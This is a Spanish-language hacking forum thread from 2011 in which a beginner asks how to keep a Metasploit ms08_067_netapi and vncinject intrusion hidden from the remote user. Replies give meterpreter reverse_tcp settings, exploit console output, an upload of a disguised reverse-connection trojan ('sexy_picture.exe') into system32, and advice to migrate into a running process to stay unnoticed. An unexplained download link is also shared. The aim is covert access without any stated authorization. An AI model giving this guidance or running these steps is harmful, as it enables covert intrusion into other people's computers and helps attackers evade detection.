elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
27 Mayo 2012, 15:57  


Tema destacado: Últimos eventos sobre seguridad/inseguridad

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Avanzado
| | |-+  Hacking Básico (Moderadores: zhyzura, kamsky, TRICKY)
| | | |-+  Duda con Metasploit y Payload vncinject.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Duda con Metasploit y Payload vncinject.  (Leído 2,650 veces)
oliver91

Desconectado Desconectado

Mensajes: 10


Disfrutando el aprendizaje de las cosas inusuales.


Ver Perfil
Duda con Metasploit y Payload vncinject.
« en: 29 Abril 2011, 22:11 »

Hola que tal, soy nuevo acá, estoy iniciando en este magnífico mundo del hack, he avanzado un poco gracias a esta gran comunidad.
Bien pues quisiera hacer una pregunta, ojala que no ofenda por mi novatez.
Utilizo el exploit: Windows/smb/ms08_067_netapi.
Y el payload: windows/vncinject/bind_tcp.
Esto para obtener gráficamente la PC remota.
Todo va perfecto solo que en la PC remota aparece todo lo que yo hago y la ventana de metasploit, y obviamente si la cierra, adiós intrusión.
Mi pregunta es: hay alguna forma de hacer esto pero oculto?
Es decir ocultar la ventana de metasploit y que no se vea todo lo que se realiza desde mi PC?
Gracias de antemano y disculpen si es una pregunta estúpida.
Saludos
En línea
CloudswX


Desconectado Desconectado

Mensajes: 519


"La física es el sistema operativo del Universo"


Ver Perfil
Re: Duda con Metasploit y Payload vncinject.
« Respuesta #1 en: 4 Mayo 2011, 15:53 »

Pues te dire..

En mi caso particular primero utilizo el payload METERPRETER:
Código:
> set PAYLOAD windows/meterpreter/reverse_tcp

Luego de esto configuro todas mis variables:
Código:
> set RHOST 192.168.0.4
Código:
> set LHOST 192.168.0.5
Código:
> set TARGET 0

Y hecho esto exploto:
Código:
Started bind handler
Automatically detecting the target...
Fingerprint: Windows XP Service Pack 2 - lang:Spanish
Selected Target: Windows XP SP2 Spanish (NX)
Triggering the vulnerability...
Sending stage (723456 bytes)
Meterpreter session 1 opened (192.168.0.4:4367 -> 192.168.0.5:4444)
meterpreter >

Una vez conseguida la sesion Meterpreer le subo un troyano de conexion inversa bien compilado haciendo uso de los comandos Upload y Download que sirven para subir y bajar archivos de la maquina remota.

Código:
meterpreter > upload sexy_picture.exe c:\\windows\\system32
[*] uploading  : sexy_picture.exe -> c:\windows\system32
[*] uploaded   : sexy_picture.exe -> c:\windows\system32\sexy_picture.exe
meterpreter >

Y despues que tienes un troyano dentro no necesitas mas nada. Asi es como lo hago en mi casa y nunca le ha saltado nada a la ventana de la pc remota.



En línea



 «Dios no juega a los dados, usa /dev/random.»
oliver91

Desconectado Desconectado

Mensajes: 10


Disfrutando el aprendizaje de las cosas inusuales.


Ver Perfil
Re: Duda con Metasploit y Payload vncinject.
« Respuesta #2 en: 4 Mayo 2011, 19:38 »

Que tal, Muchas gracias por responder, se como subir y bajar archivos desde meterpreter pero mi problema es que no tengo nada que subirle a esa PC, no tengo algún troyano, o virus, es por eso que preferí usar la opción VNC que trae metasploit, mi único problema es que en la PC remota aparece la ventana de meterpreter, habrá alguna forma de evitar que aparezca?, no sé, desde la consola de comandos, desde el registro o alguna opción del mismo payload?
De verdad muchas gracias por tomarte la molestia de responder. Gracias
En línea
CloudswX


Desconectado Desconectado

Mensajes: 519


"La física es el sistema operativo del Universo"


Ver Perfil
Re: Duda con Metasploit y Payload vncinject.
« Respuesta #3 en: 5 Mayo 2011, 03:47 »

Cuando consigas sesion con el meterpreter migra a algun proceso activo en la pc remota, con esto es suficiente para que estes camuflajeado mientras operas.
En línea



 «Dios no juega a los dados, usa /dev/random.»
oliver91

Desconectado Desconectado

Mensajes: 10


Disfrutando el aprendizaje de las cosas inusuales.


Ver Perfil
Re: Duda con Metasploit y Payload vncinject.
« Respuesta #4 en: 5 Mayo 2011, 18:17 »

Muchas gracias una vez más por tu respuesta, quieres decir que si migro por ejemplo a winlogon o al mismo explorer desde el meterpreter ya no saldrá la ventana del metasploit?Disculpa la ignorancia.
También probé a cerrar de inmediato dicha ventana y va perfecto, no aparece ningún proceso sospechoso, pero mi problema sigue siendo que salta esa ventana, lo cual levantara sospechas en seguida.
Gracias de verdad por tus respuestas.
En línea
CloudswX


Desconectado Desconectado

Mensajes: 519


"La física es el sistema operativo del Universo"


Ver Perfil
Re: Duda con Metasploit y Payload vncinject.
« Respuesta #5 en: 6 Mayo 2011, 07:37 »

Muchas gracias una vez más por tu respuesta

Pues para estamos hermano, para compartir los conocimientos..

Prueba migrando a algun proceso y luego inyecta el vcn..
En línea



 «Dios no juega a los dados, usa /dev/random.»
oliver91

Desconectado Desconectado

Mensajes: 10


Disfrutando el aprendizaje de las cosas inusuales.


Ver Perfil
Re: Duda con Metasploit y Payload vncinject.
« Respuesta #6 en: 6 Mayo 2011, 22:11 »

Gracias de verdad amigo, por gente como tú, principiantes como yo podemos avanzar e ilusionarnos con alguna vez ayudar a alguien más como lo han hecho con nosotros.
En cuanto a lo de migrar el proceso de meterpreter a algún otro no me ha funcionado, migre al explorer.exe y sigue apareciendo la ventana de metasploit.
No sé si este haciendo algo mal, pero si migro por ejemplo a explorer.exe lo que estoy migrando es el proceso meterpreter no? O me faltara algún paso?
Hago lo siguiente una vez en meterpreter:
meterpreter > migrate 1572
  • Migrating to 1572...
  • Migration completed successfully.
meterpreter > exit
  • Meterpreter session 1 closed.  Reason: User exit
msf exploit(ms08_067_netapi) > set payload windows/vncinject/bind_tcp
payload => windows/vncinject/bind_tcp
msf exploit(ms08_067_netapi) > exploit
Pienso que estoy mal en salir de meterpreter, porque no tendría caso migrarlo y salir no?
Gracias por tu tiempo amigo.
« Última modificación: 6 Mayo 2011, 22:43 por oliver91 » En línea
CloudswX


Desconectado Desconectado

Mensajes: 519


"La física es el sistema operativo del Universo"


Ver Perfil
Re: Duda con Metasploit y Payload vncinject.
« Respuesta #7 en: 10 Mayo 2011, 01:56 »

Pues decirte que es exactamente eso que piensas, no tiene sentido migrar de proceso para cerrar posteriormente el meterpreter.

Te dire que el vnc funciona de forma similar a un troyano primero debes INSTALAR una parte del VNC que hara de server. Cuando usas ese payload de vnc realmente estas abriendo una sesion sobre el proceso de Remote Desktop por lo que te salta esa ventana.

Chequeate este video tutorial de Alex_shell_root que en mi opinion es uno de los mas iluminados con el metasploit.

http://www.youtube.com/watch?v=k30889rxcOQ

Ojala te sirva de algo.
« Última modificación: 10 Mayo 2011, 15:30 por CloudswX » En línea



 «Dios no juega a los dados, usa /dev/random.»
oliver91

Desconectado Desconectado

Mensajes: 10


Disfrutando el aprendizaje de las cosas inusuales.


Ver Perfil
Re: Duda con Metasploit y Payload vncinject.
« Respuesta #8 en: 10 Mayo 2011, 20:32 »

Gracias amigo y mira que lo del video es exactamente lo que hago, pero esa ventana que dice Metasploit Courtesy Shell, es mi problema. Bueno amigo de verdad muchas gracias por tu interés y mejor empiezo a buscar otra manera de ingresar sin que se puedan dar cuenta, o hacer todo desde una consola remota.
Muchas gracias por tu ayuda!!!!!!!!!!!!!!
En línea
bernolas

Desconectado Desconectado

Mensajes: 5


Ver Perfil
Re: Duda con Metasploit y Payload vncinject.
« Respuesta #9 en: 30 Mayo 2011, 15:36 »

A ver que os parece

http://www.megaupload.com/?d=VTL485XK
En línea
oliver91

Desconectado Desconectado

Mensajes: 10


Disfrutando el aprendizaje de las cosas inusuales.


Ver Perfil
Re: Duda con Metasploit y Payload vncinject.
« Respuesta #10 en: 4 Junio 2011, 02:01 »

Amigo de verdad infinitas gracias, me servirá demasiado, gracias nuevamente!!!
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Duda Metasploit
Hacking Básico
carlitrosss6 1 1,224 Último mensaje 29 Diciembre 2009, 02:30
por Shell Root
[Metasploit] Generando Ejecutable con PAYLOAD
Hacking Avanzado
Shell Root 9 4,958 Último mensaje 2 Mayo 2010, 13:01
por piper_maru
Inline ASM shell using Metasploit Payload [SRC]
Programación Visual Basic
cobein 11 2,779 Último mensaje 8 Enero 2010, 03:46
por Jaixon Jax
[Fast-Track + Metasploit][b] PAYLOAD Automatically Generate
Hacking Básico
Shell Root 0 2,332 Último mensaje 23 Enero 2010, 00:05
por Shell Root
Duda con dos payloads de metasploit.
Bugs y Exploits
rudeboy1991 0 687 Último mensaje 1 Noviembre 2010, 16:13
por rudeboy1991
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines